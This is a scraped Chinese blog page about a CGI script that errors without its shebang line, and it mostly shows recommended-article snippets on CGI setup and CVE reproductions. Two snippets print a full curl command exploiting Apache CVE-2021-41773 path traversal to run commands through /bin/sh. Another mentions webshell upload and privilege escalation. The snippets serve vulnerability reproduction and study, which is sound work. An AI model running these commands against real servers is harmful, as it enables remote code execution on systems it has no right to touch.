cgi脚本没写#bin/sh所报的错

最新推荐文章于 2024-06-17 22:13:25 发布
最新推荐文章于 2024-06-17 22:13:25 发布
阅读量713 收藏
点赞数
分类专栏： Linux/Unix Web 文章标签： cgi 脚本
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/syfly007/article/details/6782633
版权
CVE-2023-1389、TP-Link Archer AX-21 命令注入安全漏洞（/cgi-bin/luci/；stok=/locale?form=country&operation=writ）
墨痕诉清风的博客
07-17 1405
TP-Link Archer AX-21 命令注入安全漏洞1.1.4 Build 20230219 之前的 TP-Link Archer AX21 (AX1800) 固件版本存在漏洞。
CVE-2014-6271 “破壳“ 漏洞（cgi-bin）
墨痕诉清风的博客
07-19 2861
CVE-2014-6271（即“破壳”漏洞）广泛存在与GNUBash版本小于等于4.3的*inux的系统之中，只要目标服务器开放着与Bash相交互的应用与服务，就有可能成功触发漏洞，获取目标系统当前Bash运行用户相同权限的shell接口。该漏洞利用条件较多，1.bash版本小于等于4.3，2.攻击者可以控制环境变量，3.新的bash进程被打开触发漏洞并执行命令。简单点说，没有cgi脚本继承环境变量，就玩不了；有cgi脚本的，bash版本过高也玩不了。catecho;do";};......
Shell脚本实现转发修改网站数据（CGI-Bin）
For_if_while的博客
12-02 593
网站的转发 在liunx服务器中创建文件夹 cgi-bin (mkdir cgi-bin) 创建完成后新建一个.sh文件，以转发百度为例： 在cgi-bin文件夹下新建baidu.sh ；编写文件内容 vi baidu.sh #!/bin/bash echo "Content-type:text/html" echo "" curl http://www.baidu.com/s?$QUERY_STRING2>/dev/null``` 编写完成后， 使用python2的 cgi-bin来开启一个
去掉#！/bin/sh还能执行吗？
weixin_33724570的博客
11-12 334
1，去掉#！/bin/sh还能执行吗？ 答：能执行，以默认的shell执行。 2，#为注释，为什么#！/bin/sh还能被执行？ 答：在程序中的第一行，以！开头，能执行。 本文转自xcjgutong 51CTO博客，原文链接:http://blog.51cto.com/xuchengji/297494 ...
【漏洞复现-Apache-目录穿越文件读取-RCE】vulfocus/apache(cve_2021_41773)
10-07 2354
【Apache-目录穿越文件读取-RCE】
Linux CGI----环境搭建(1)
weixin_38850997的博客
10-08 1216
1.安装 httpd yum -y install httpd 2.设置好CGI目录： vim /etc/httpd/conf/httpd.conf #设置字段ScriptAlias: ScriptAlias /cgi-bin/ /var/www/cgi-bin/ 3.默认情况下，Linux 服务器配置运行的 cgi-bin 目录中为 /var/www。 如果你想指定其他运行 CGI 脚本...
linux脚本中 #!/bin/sh、#!/bin/bash
thlzjfefe的博客
12-14 7024
由上可知，当执行脚本时，如果命令中指定了解释器bash、sh，如：bash test.sh，则执行时会忽略脚本中第一行指定的解释器，即。由上可知，当执行脚本时，如果命令中指定了解释器bash、sh，如：bash test.sh，则执行时。/bin/sh，且脚本执行时使用sh，则执行时会报错。如果命令中未指定解释器bash、sh，如：./test.sh，则执行时会。2、当执行脚本的方式为：bash test.sh时，不管脚本是否指定了。1、当执行脚本的方式为：./test.sh时，如果脚本中未指定。
curl -s --path-as-is -d ‘echo Content-Type: text/plain; echo; whoami’ “http://ip:port//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh”解析
06-08
该攻击代码使用curl工具向一个CGI脚本发送POST请求，并在请求头中设置了一个恶意的环境变量，该变量的值包含了一条命令：whoami。然后攻击者利用Shellshock漏洞执行了/bin/sh命令，从而打开了一个可交互的Shell，并...
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; ls' "http://192.168.206.132:8080//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"解析
06-08
具体来说，该攻击代码使用curl工具向一个CGI脚本发送POST请求，并在请求头中设置了一个恶意的环境变量，该变量的值包含了一条命令：ls。然后攻击者利用Shellshock漏洞执行了/bin/sh命令，从而打开了一个可交互的...
部分CVE复现Web（1）
最新发布
qq_66013948的博客
06-17 1115
​ 首先，先来看一下这个漏洞的官方描述：​ CVE-2021-41773 是在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件，如果文档根目录之外的文件不受“要求全部拒绝”的保护，则这些请求可能会成功，如果还为这些别名路径启用了 CGI 脚本，则可以允许远程代码执行。
Apache HTTP Server路径穿越漏洞复现(CVE-2021-41773)
小小猪的博客
10-26 3606
sudo docker pull blueteamsteve/cve-2021-41773:no-cgid sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
CGI资料整理
jihaichen的博客
05-04 314
总体思路，跳过限制，查看敏感文件和密码相关文件。写入一句话cgi，进后台试传webshell（后台如果加验证或者MD5过的时候，可以试着  cookies欺骗，本地提交），寻找可执行的目录和相关函数，拿shell…………》提权  perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行，而后两个允许执行。  以POST的方法发送表格的话，就不能蒙混过关（%00将...
使用Bash脚本实现Web服务CGI
热门推荐
delphiwcdj的专栏
01-09 1万+
2014-01-09 wcdj 之前总结一篇使用Perl实现Web服务的文章《Web服务器的实现（最小的Perl Web服务器） 》。在工作中经常需要和CGI接口进行交互，当依赖的接口还未实现时，自己可以写一个简单的CGI接口来模拟依赖的接口以完成调试。Bash也是日常使用的脚本之一，本文总结下如何使用Bash实现简单的CGI交互。 0 实现一个返回json格式应答的CGI #!/bin
DEBUG（一）：解决execl(path,NULL)执行出错
vainfanfan的博客
05-30 834
源码段 if (pid == 0) /* child: CGI script */ { char meth_env[255]; char query_env[255]; char length_env[255]; dup2(cgi_output[1], 1); dup2(cgi_input[0], 0); close(cgi_output[0]); close(...
一个解析cgi参数的SHELL脚本
weixin_34351321的博客
05-23 211
 测试工作中，经常会涉及到一些要验证服务器对某些cgi接口查询结果返回信息进行解析是否正确的情况。而提供cgi接口的通常又是另外的部门，测试的时候需要调试一些返回结果不方便。所以需要自己模拟虚假的cgi接口来达到同样的目的。       比如说，类似http://www.yousite.com/query.cgi?username=***&kind=***这样的接口会根据username...
CGI跟我学
icecityman的专栏
12-11 2179
 转贴自   http://www.jdon.com/idea/cgi.htmCGI跟我学目 录CGI脚本是什么?CGI脚本 怎样工作的?一个简单的例子我能用CGI脚本吗?你的服务器配置允许CGI脚本吗?你能编程吗?你应该用什么编程语言?你的服务器设置正确吗?如果你的服务器不是UNIX系统呢?解剖CGI脚本输出头部输出数据部带阐述的脚本传递其他信息给脚本创建特殊的脚本输出以装载另一个文本响应无响应
通过CGI实现在Web页面上执行shell命令
hjw1314kl的博客
11-25 4168
通过CGI实现在Web页面上执行shell命令 实验环境： 腾讯云服务器centos7 Apache-httpd的安装: 使用命令安装 yum install httpd命令安装 yum install httpd #安装成功我们可以看到在/var/目录下会产生一个www的目录，该目录下还包含/cgi-bin/ /html/连个目录 cgi-bin目录下主要存放cgi文件 html目录下主要...
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
qq_59975439的博客
06-10 7035
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值